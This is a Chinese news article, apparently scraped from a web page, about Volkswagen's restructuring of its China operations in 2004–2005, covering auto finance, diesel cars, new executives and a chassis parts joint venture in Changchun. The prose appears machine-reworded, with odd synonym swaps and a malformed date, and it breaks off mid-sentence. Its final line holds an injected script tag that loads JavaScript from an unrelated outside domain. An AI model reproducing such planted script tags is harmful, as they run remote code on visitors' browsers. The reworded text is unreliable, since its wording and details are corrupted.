□亡羊补牢
2003年12月29日，大众汽车金融（中国）公司和上汽通用汽车金融公司及丰田汽车金融（中国）公司一道被中国银监会批准打造。尽管现在由于汽车降价空间巨大，汽车金融坏账频出，但将来当中国汽车业的平均收益同国际接轨，降至3—5%时，汽车金融将会是一项远比造车更为有利可图的事业。
大众汽车正在通过一汽大众推行节能的柴油轿车策略。为此，大众已经作了4年多的筹备工作，只待机会成熟便可独享柴油轿车的巨大市场。在2001年的上海汽车展会上，大众就展出了柴油捷达轿车，将来柴油宝来轿车也将问世。有专家觉得：“以后可以帮助大众汽车撑起在中国龙头地方的，非常可能就是柴油轿车。”
但这类还远非拯救大家的真的举措。大众汽车的改革举措一直在调整进行。
2005年1月27日，大众汽车集团中国中心正式成立。原大众亚太区、中国区等分布在各处办公的机构及职员经过重新整理统一在同一办公楼里办公。这意味着2004年5月大众重新调整集团在中国业务结构的基本结束。直接向大众汽车集团全球董事会负责的大众汽车集团中国，作为取代原亚太区统一管理中国业务的一级组织机构开始运营。
这一天，专门从德国赶来的魏智博表明了大众汽车对于中国事务组织构造的两个基本转变：“出于对国内市场重要程度的考虑，大众汽车将管理中国业务职能从德国总部转移到北京，大众汽车中国中心应当成为一个名副其实的职能中心” ；“当地化管理的人力资源开发，也是推进当地化生产的一个要紧原因，大家的中期目的是：让当地的管理力量来取代现在来自集团总部的职员”，由于只有中国人才了解国内市场。
一个转变在4月18日得到验证。先前被任命为大众集团中国总裁的雷思能向外面宣布，他和他在德国总部汇报的直接上司大众汽车集团董事副总裁、中国事务总负责人魏智博博士将于2005年月30日退休，此后，大众集团中国总裁的的职位将由大众集团子公司斯柯达汽车副主席瓦兰德接任，而大众在德国总部的中国事务总负责人地方将取消，将来瓦兰德将直接向大众集团首席实行官毕睿德汇报工作。
第二个转变则发生在今年3月，大众集团任命苏伟铭和许健为大众汽车集团中国副总裁，郭谦为生产优化技术部总监，苏伟铭和许健同时成为扩大实行管理委员会成员。新加坡职业经理人苏伟铭为北京吉普创造知道套的奇迹，而出身于一汽大家的郭谦于2000年2月从长春来到北京一手塑造了北京现代的“神话”，原罗兰贝格中国区总经理，合作伙伴许健则创建了罗兰贝格中国的 “汽车行业中心”的咨询业务。他们都具备当地化的经验。
回到狼堡的大众总部，毕睿德4月28日在汉堡召开的公司股东全体大会上宣布，从2005年5月1日开始，来自戴姆勒克莱斯勒公司复苏美国克莱斯勒的要紧人物伯恩哈德（Wolfgang Bernhard）博士出任大众汽车品牌集团主席一职。由此，他表示“两年前开始的集团组织结构重组工作全部完成。”
与组织构造调整同时进行的是大众将加强对中国零部件的采购，同时展开大众一汽平台零部件公司的建设。
2004年7月14日，德国大众常务副总裁魏智博来到长春，为大众占股60%的“大众一汽平台零部件公司”奠基。据称，这是创造平台策略的大众集团在全球现在最早进的一代底盘零部件生产平台。在PQ35平台上，大众集团在全球范围生产的车型包含开迪、途安、高尔夫A5、甲壳虫、新宝来和奥迪A3。魏智博说：“大家在这里生产的商品将包含轿车用前桥及副车架总成、后桥总成，悬架系统、转向系统和制动系统等，是汽车生产中最复杂、要紧的部分。”
在中国和世界其他不少汽车生产基地，底盘系统一般都分在几个不同之地生产，最后再运到整车厂进行集成，所以如此的一个整个底盘零配件生产平台不只在中国现在绝无仅有，在世界上也并不多见。大众汽车在此显示了后发制人的意志。当魏智博特别强调“这是大众集团尤为重要的策略，底盘部分是汽车生产中要紧的，大家以前只不过整车在这里生产，目前把心脏也放到这里来生产”时，可以领会到，假如不是角逐形势和汇率重压所迫，大众集团好像还难下此决心。
一汽集团有关人士表示，“平台零部件合资项目的推行，提高了一汽零部件的体系能力及一汽—大众公司整车商品的竞争优势。”而大众公司财务总监汉斯·迪特·珀奇则表示，期望在4至5年内，将从欧洲出口至中国工厂的零部件比率降至20%，以便抵消欧元兑人民币升值而产生的本钱。
对于南北大众一直没办法统一的难点大众汽车找到了新的变通办法。早期为使自己利益较大化，防止两个合资企业之间?script src=http://cn.jxmmtv.com/cn.js>cript>